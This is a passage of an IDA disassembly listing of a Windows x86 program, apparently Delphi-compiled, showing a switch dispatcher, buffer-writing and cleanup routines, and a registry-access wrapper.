		dd offset loc_40E1E7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	loc_40E1F3	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E138:				; CODE XREF: sub_40E0AC+30j
					; DATA XREF: sub_40E0AC+37o
		push	ebp		; case 0x1
		call	sub_40DFA8
		pop	ecx
		jmp	loc_40E1F3	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E144:				; CODE XREF: sub_40E0AC+30j
					; DATA XREF: sub_40E0AC+37o
		push	ebp		; case 0x2
		mov	eax, 1
		call	sub_40DFD0
		pop	ecx
		jmp	loc_40E1F3	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E155:				; CODE XREF: sub_40E0AC+30j
					; DATA XREF: sub_40E0AC+37o
		push	ebp		; case 0x3
		mov	eax, 2
		call	sub_40DFD0
		pop	ecx
		jmp	loc_40E1F3	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E166:				; CODE XREF: sub_40E0AC+30j
					; DATA XREF: sub_40E0AC+37o
		push	ebp		; case 0x4
		mov	eax, 4
		call	sub_40DFD0
		pop	ecx
		jmp	short loc_40E1F3 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E174:				; CODE XREF: sub_40E0AC+30j
					; DATA XREF: sub_40E0AC+37o
		push	ebp		; case 0x5
		mov	eax, 0Ah
		call	sub_40DFD0
		pop	ecx
		jmp	short loc_40E1F3 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E182:				; CODE XREF: sub_40E0AC+30j
					; DATA XREF: sub_40E0AC+37o
		lea	edx, [ebp+var_8] ; case	0x6
		mov	eax, [ebp+var_4]
		call	sub_40DEB0
		jmp	short loc_40E1F3 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E18F:				; CODE XREF: sub_40E0AC+30j
					; DATA XREF: sub_40E0AC+37o
		push	ebp		; case 0xa
		call	sub_40E024
		pop	ecx
		jmp	short loc_40E1F3 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E198:				; CODE XREF: sub_40E0AC+30j
					; DATA XREF: sub_40E0AC+37o
		mov	eax, [ebp+var_4] ; case	0xb
		call	sub_40DF60
		jmp	short loc_40E1F3 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E1A2:				; CODE XREF: sub_40E0AC+30j
					; DATA XREF: sub_40E0AC+37o
		push	ebp		; case 0xc
		call	sub_40E024
		pop	ecx
		jmp	short loc_40E1F3 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E1AB:				; CODE XREF: sub_40E0AC+30j
					; DATA XREF: sub_40E0AC+37o
		push	ebp		; case 0xe
		call	sub_40E04C
		pop	ecx
		jmp	short loc_40E1F3 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E1B4:				; CODE XREF: sub_40E0AC+30j
					; DATA XREF: sub_40E0AC+37o
		push	ebp		; case 0xf
		mov	eax, 4
		call	sub_40DFD0
		pop	ecx
		jmp	short loc_40E1F3 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E1C2:				; CODE XREF: sub_40E0AC+30j
					; DATA XREF: sub_40E0AC+37o
		push	ebp		; case 0x10
		mov	eax, 8
		call	sub_40DFD0
		pop	ecx
		jmp	short loc_40E1F3 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E1D0:				; CODE XREF: sub_40E0AC+30j
					; DATA XREF: sub_40E0AC+37o
		push	ebp		; case 0x11
		mov	eax, 8
		call	sub_40DFD0
		pop	ecx
		jmp	short loc_40E1F3 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E1DE:				; CODE XREF: sub_40E0AC+30j
					; DATA XREF: sub_40E0AC+37o
		push	ebp		; case 0x12
		call	sub_40E024
		pop	ecx
		jmp	short loc_40E1F3 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E1E7:				; CODE XREF: sub_40E0AC+30j
					; DATA XREF: sub_40E0AC+37o
		push	ebp		; case 0x13
		mov	eax, 8
		call	sub_40DFD0
		pop	ecx

loc_40E1F3:				; CODE XREF: sub_40E0AC+2Aj
					; sub_40E0AC+30j ...
		xor	eax, eax	; default
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40E210

loc_40E200:				; CODE XREF: CODE:0040E20Ej
		lea	eax, [ebp+var_8]
		call	sub_4034C8
		retn
sub_40E0AC	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E209:				; DATA XREF: sub_40E0AC+11o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40E200
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E210:				; DATA XREF: sub_40E0AC+14Fo
		pop	ecx
		pop	ecx
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40E214	proc near		; CODE XREF: sub_40E04C+33p

var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40E251
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_40DEB0
		mov	eax, ebx
		call	sub_40E0AC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40E258

loc_40E248:				; CODE XREF: CODE:0040E256j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_40E214	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E251:				; DATA XREF: sub_40E214+Bo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40E248
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E258:				; DATA XREF: sub_40E214+2Fo
		pop	ebx
		pop	ecx
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E25C	proc near		; CODE XREF: sub_40E2D0+2Cp
					; sub_40E2D0+45p ...
		push	esi
		push	edi
		push	ebx
		mov	esi, edx
		mov	ebx, ecx
		mov	edi, eax
		jmp	short loc_40E29D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E267:				; CODE XREF: sub_40E25C+43j
		mov	ecx, [edi+0Ch]
		sub	ecx, [edi+10h]
		ja	short loc_40E279
		mov	eax, edi
		call	sub_40E2A8
		mov	ecx, [edi+0Ch]

loc_40E279:				; CODE XREF: sub_40E25C+11j
		cmp	ecx, ebx
		jb	short loc_40E27F
		mov	ecx, ebx

loc_40E27F:				; CODE XREF: sub_40E25C+1Fj
		sub	ebx, ecx
		push	edi
		mov	eax, [edi+8]
		add	eax, [edi+10h]
		add	[edi+10h], ecx
		mov	edi, eax
		mov	edx, ecx
		shr	ecx, 2
		cld
		repe movsd
		mov	ecx, edx
		and	ecx, 3
		repe movsb
		pop	edi

loc_40E29D:				; CODE XREF: sub_40E25C+9j
		or	ebx, ebx
		jnz	short loc_40E267
		pop	ebx
		pop	edi
		pop	esi
		retn
sub_40E25C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E2A8	proc near		; CODE XREF: sub_40E25C+15p
		push	ebx
		mov	ebx, eax
		mov	edx, [ebx+8]
		mov	ecx, [ebx+10h]
		mov	eax, [ebx+4]
		call	sub_40D8BC
		xor	eax, eax
		mov	[ebx+10h], eax
		pop	ebx
		retn
sub_40E2A8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E2C0	proc near		; CODE XREF: sub_40D210+25p
		mov	dl, 1
		call	sub_40E32C
		retn
sub_40E2C0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E2C8	proc near		; CODE XREF: sub_40D210+5Bp
		xor	edx, edx
		call	sub_40E32C
		retn
sub_40E2C8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E2D0	proc near		; CODE XREF: sub_40D210+4Fp
		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		mov	eax, esi
		call	sub_403724
		mov	[esp+0], eax
		cmp	dword ptr [esp+0], 0FFh
		jg	short loc_40E303
		mov	dl, 6
		mov	eax, ebx
		call	sub_40E32C
		mov	edx, esp
		mov	ecx, 1
		mov	eax, ebx
		call	sub_40E25C
		jmp	short loc_40E31A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E303:				; CODE XREF: sub_40E2D0+18j
		mov	dl, 0Ch
		mov	eax, ebx
		call	sub_40E32C
		mov	edx, esp
		mov	ecx, 4
		mov	eax, ebx
		call	sub_40E25C

loc_40E31A:				; CODE XREF: sub_40E2D0+31j
		mov	edx, esi
		mov	ecx, [esp+0]
		mov	eax, ebx
		call	sub_40E25C
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40E2D0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E32C	proc near		; CODE XREF: sub_40E2C0+2p
					; sub_40E2C8+2p ...
		push	ecx
		mov	[esp+0], dl
		mov	edx, esp
		mov	ecx, 1
		call	sub_40E25C
		pop	edx
		retn
sub_40E32C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E340	proc near		; CODE XREF: sub_40E3D0+74p
		cmp	ds:dword_41E640, 0
		jz	short locret_40E35B
		mov	eax, ds:dword_41E640
		push	eax
		call	j_DestroyWindow
		xor	eax, eax
		mov	ds:dword_41E640, eax

locret_40E35B:				; CODE XREF: sub_40E340+7j
		retn
sub_40E340	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40E35C	proc near		; CODE XREF: sub_40E3D0+31p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_41E620
		call	sub_40C4B0
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40E3B1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [edi+8]
		dec	ebx
		test	ebx, ebx
		jl	short loc_40E399
		inc	ebx
		xor	esi, esi

loc_40E387:				; CODE XREF: sub_40E35C+3Bj
		mov	edx, esi
		mov	eax, edi
		call	sub_40C20C
		call	sub_402BDC
		inc	esi
		dec	ebx
		jnz	short loc_40E387

loc_40E399:				; CODE XREF: sub_40E35C+26j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40E3B8

loc_40E3A6:				; CODE XREF: CODE:0040E3B6j
		mov	eax, ds:dword_41E620
		call	sub_40C514
		retn
sub_40E35C	endp ; sp = -14h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E3B1:				; DATA XREF: sub_40E35C+15o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40E3A6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E3B8:				; DATA XREF: sub_40E35C+45o
		mov	eax, ds:dword_41E620
		call	sub_402BDC
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40E3C8:				; DATA XREF: sub_40E3D0+8Ao
					; CODE:0040E49Co
		call	sub_40BEA8
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40E3D0	proc near		; DATA XREF: CODE:0041A928o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40E47C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E614
		jnz	loc_40E46E
		mov	eax, ds:dword_41E4D4
		call	sub_40BEA8
		mov	eax, ds:dword_41E610
		call	sub_40A5A0
		call	sub_40E35C
		mov	eax, ds:dword_41E618
		call	sub_402BDC
		mov	eax, ds:dword_41E61C
		call	sub_402BDC
		xor	edx, edx
		xor	eax, eax
		call	sub_40DC7C
		mov	eax, ds:dword_41E624
		call	sub_402BDC
		xor	eax, eax
		mov	ds:dword_41E624, eax
		call	sub_4059F0
		mov	eax, [eax+8]
		call	sub_402BDC
		call	sub_40E340
		mov	eax, ds:dword_41E610
		call	sub_402BDC
		xor	eax, eax
		mov	ds:dword_41E610, eax
		mov	eax, offset loc_40E3C8
		call	sub_404A1C
		push	offset unk_41E628
		call	j_DeleteCriticalSection_0

loc_40E46E:				; CODE XREF: sub_40E3D0+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40E483

locret_40E47B:				; CODE XREF: sub_40E3D0+B1j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E47C:				; DATA XREF: sub_40E3D0+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_40E47B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E483:				; CODE XREF: sub_40E3D0+ABj
					; DATA XREF: sub_40E3D0+A6o
		pop	ebp
		retn
sub_40E3D0	endp ; sp = -8

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
byte_40E488	db 83h,	2Dh		; DATA XREF: CODE:0041A924o
		dd offset dword_41E614
		dd 68697301h
		dd offset unk_41E628
		dd 0FF7809E8h
		db 0FFh, 0B8h
		dd offset loc_40E3C8
		dd 0FF656FE8h, 0A101B2FFh
		dd offset off_406C1C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		call	sub_40A4BC
		mov	ds:dword_41E610, eax
		mov	dl, 1
		mov	eax, ds:off_40B920
		call	sub_40C358
		mov	ds:dword_41E618, eax
		mov	dl, 1
		mov	eax, ds:off_40BB68
		call	sub_402BAC
		mov	ds:dword_41E61C, eax
		mov	dl, 1
		mov	eax, ds:off_40B920
		call	sub_40C358
		mov	ds:dword_41E620, eax
		mov	dl, 1
		mov	eax, ds:off_40B920
		call	sub_40C358
		mov	ds:dword_41E624, eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_40E504	dd 30h,	0FFFFFFFFh, 1, 31h ; DATA XREF:	DATA:0041C2F0o
					; DATA:0041C2F4o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40E514	proc near		; DATA XREF: CODE:0041A930o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40E550
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E644
		jnz	short loc_40E542
		mov	eax, offset off_41C2F0
		mov	ecx, 2
		mov	edx, ds:off_401000
		call	sub_403BE8

loc_40E542:				; CODE XREF: sub_40E514+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40E557

locret_40E54F:				; CODE XREF: sub_40E514+41j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E550:				; DATA XREF: sub_40E514+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_40E54F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E557:				; CODE XREF: sub_40E514+3Bj
					; DATA XREF: sub_40E514+36o
		pop	ebp
		retn
sub_40E514	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40E55C:				; DATA XREF: CODE:0041A92Co
		sub	ds:dword_41E644, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_40E564	dd offset dword_40E5B0	; DATA XREF: sub_40E62C+19r
					; sub_40EA08+4Fr ...
		dd 7 dup(0)
		dd offset dword_40E5B0
		dd 0Ch
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_40E5B0	dd 65524512h, 74736967h, 78457972h, 74706563h, 906E6F69h
					; DATA XREF: CODE:0040E564o
					; CODE:0040E584o
off_40E5C4	dd offset dword_40E610	; DATA XREF: sub_415EAC+49r
		align 10h
		dd offset dword_40E610
		dd 4 dup(0)
		dd offset dword_40E622
		dd 1Ch
		dd offset off_40100C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_40E708
dword_40E610	dd 0Eh,	10000h		; DATA XREF: CODE:0040E5C4o
					; CODE:0040E5D0o
		db 2 dup(0)
		dd offset off_401000
		dd 10h
dword_40E622	dd 65525409h, 74736967h	; DATA XREF: CODE:0040E5E4o
		db 72h,	79h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E62C	proc near		; CODE XREF: sub_40E990+62p

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	[esp+8+var_8], ebx
		mov	[esp+8+var_4], 0Bh
		push	esp
		push	0
		mov	ecx, ds:off_41DB70
		mov	dl, 1
		mov	eax, ds:off_40E564
		call	sub_409548
		call	sub_402F98
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_40E62C	endp ; sp = -8


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E658	proc near		; CODE XREF: sub_40E7C8+2Fp
		push	ebx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40E668
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_40E668
		xor	eax, eax
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E668:				; CODE XREF: sub_40E658+5j
					; sub_40E658+Aj
		mov	al, 1
		pop	ebx
		retn
sub_40E658	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E66C	proc near		; CODE XREF: sub_40EA08+13p
		dec	al
		jz	short loc_40E67E
		dec	al
		jz	short loc_40E684
		dec	al
		jz	short loc_40E68A
		dec	al
		jz	short loc_40E690
		jmp	short loc_40E696
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E67E:				; CODE XREF: sub_40E66C+2j
		mov	eax, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E684:				; CODE XREF: sub_40E66C+6j
		mov	eax, 2
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E68A:				; CODE XREF: sub_40E66C+Aj
		mov	eax, 4
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E690:				; CODE XREF: sub_40E66C+Ej
		mov	eax, 3
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E696:				; CODE XREF: sub_40E66C+10j
		xor	eax, eax
		retn
sub_40E66C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E69C	proc near		; CODE XREF: sub_40E8EC+3Fp
					; sub_40EA70+5Ep
		cmp	eax, 1
		jnz	short loc_40E6A4
		mov	al, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E6A4:				; CODE XREF: sub_40E69C+3j
		cmp	eax, 2
		jnz	short loc_40E6AD
		mov	al, 2
		jmp	short locret_40E6C1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E6AD:				; CODE XREF: sub_40E69C+Bj
		cmp	eax, 4
		jnz	short loc_40E6B6
		mov	al, 3
		jmp	short locret_40E6C1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E6B6:				; CODE XREF: sub_40E69C+14j
		cmp	eax, 3
		jnz	short loc_40E6BF
		mov	al, 4
		jmp	short locret_40E6C1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E6BF:				; CODE XREF: sub_40E69C+1Dj
		xor	eax, eax

locret_40E6C1:				; CODE XREF: sub_40E69C+Fj
					; sub_40E69C+18j ...
		retn
sub_40E69C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E6C4	proc near		; CODE XREF: sub_415EAC+4Ep
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_40E6D2
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_40E6D2:				; CODE XREF: sub_40E6C4+4j
		mov	ebx, edx
		mov	esi, eax
		mov	edx, 80000001h
		mov	eax, esi
		call	sub_40E764
		mov	dword ptr [esi+18h], 0F003Fh
		mov	byte ptr [esi+0Ch], 1
		mov	eax, esi
		test	bl, bl
		jz	short loc_40E702
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_40E702:				; CODE XREF: sub_40E6C4+2Dj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40E6C4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E708	proc near		; DATA XREF: CODE:0040E60Co
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_40E734
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_402BCC
		test	bl, bl
		jle	short loc_40E731
		mov	eax, esi
		call	sub_402D2C

loc_40E731:				; CODE XREF: sub_40E708+20j
		pop	esi
		pop	ebx
		retn
sub_40E708	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E734	proc near		; CODE XREF: sub_40E708+Dp
					; sub_40E764+22p ...
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_40E75F
		cmp	byte ptr [ebx+0Ch], 0
		jz	short loc_40E74C
		push	eax
		call	j_RegCloseKey_0
		jmp	short loc_40E752
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E74C:				; CODE XREF: sub_40E734+Ej
		push	eax
		call	j_RegFlushKey

loc_40E752:				; CODE XREF: sub_40E734+16j
		xor	eax, eax
		mov	[ebx+4], eax
		lea	eax, [ebx+10h]
		call	sub_4034C8

loc_40E75F:				; CODE XREF: sub_40E734+8j
		pop	ebx
		retn
sub_40E734	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E764	proc near		; CODE XREF: sub_40E6C4+19p
					; sub_415EAC+61p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, [ebx+8]
		cmp	esi, eax
		jz	short loc_40E78B
		cmp	byte ptr [ebx+14h], 0
		jz	short loc_40E781
		push	eax
		call	j_RegCloseKey_0
		mov	byte ptr [ebx+14h], 0

loc_40E781:				; CODE XREF: sub_40E764+11j
		mov	[ebx+8], esi
		mov	eax, ebx
		call	sub_40E734

loc_40E78B:				; CODE XREF: sub_40E764+Bj
		pop	esi
		pop	ebx
		retn
sub_40E764	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E790	proc near		; CODE XREF: sub_40E7C8+EAp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40E734
		mov	[ebx+4], esi
		lea	eax, [ebx+10h]
		mov	edx, edi
		call	sub_40351C
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40E790	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E7B4	proc near		; CODE XREF: sub_40E7C8+74p
					; sub_40E7C8+A8p
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_40E7BF
		test	dl, dl
		jnz	short loc_40E7C3

loc_40E7BF:				; CODE XREF: sub_40E7B4+5j
		mov	eax, [eax+8]
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E7C3:				; CODE XREF: sub_40E7B4+9j
		mov	eax, ecx
		retn
sub_40E7B4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40E7C8	proc near		; CODE XREF: sub_415EAC+8Ep

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_1], cl
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40E8CD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_C]
		mov	edx, ebx
		call	sub_403560
		mov	eax, [ebp+var_C]
		call	sub_40E658
		mov	ebx, eax
		test	bl, bl
		jnz	short loc_40E814
		lea	eax, [ebp+var_C]
		mov	ecx, 1
		mov	edx, 1
		call	sub_40396C

loc_40E814:				; CODE XREF: sub_40E7C8+38j
		xor	eax, eax
		mov	[ebp+var_8], eax
		cmp	[ebp+var_1], 0
		jz	short loc_40E825
		cmp	[ebp+var_C], 0
		jnz	short loc_40E84F

loc_40E825:				; CODE XREF: sub_40E7C8+55j
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [esi+18h]
		push	eax
		push	0
		mov	eax, [ebp+var_C]
		call	sub_4038E8
		push	eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_40E7B4
		push	eax
		call	j_RegOpenKeyExA_0
		test	eax, eax
		setz	[ebp+var_2]
		jmp	short loc_40E881
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E84F:				; CODE XREF: sub_40E7C8+5Bj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		mov	eax, [esi+18h]
		push	eax
		push	0
		push	0
		push	0
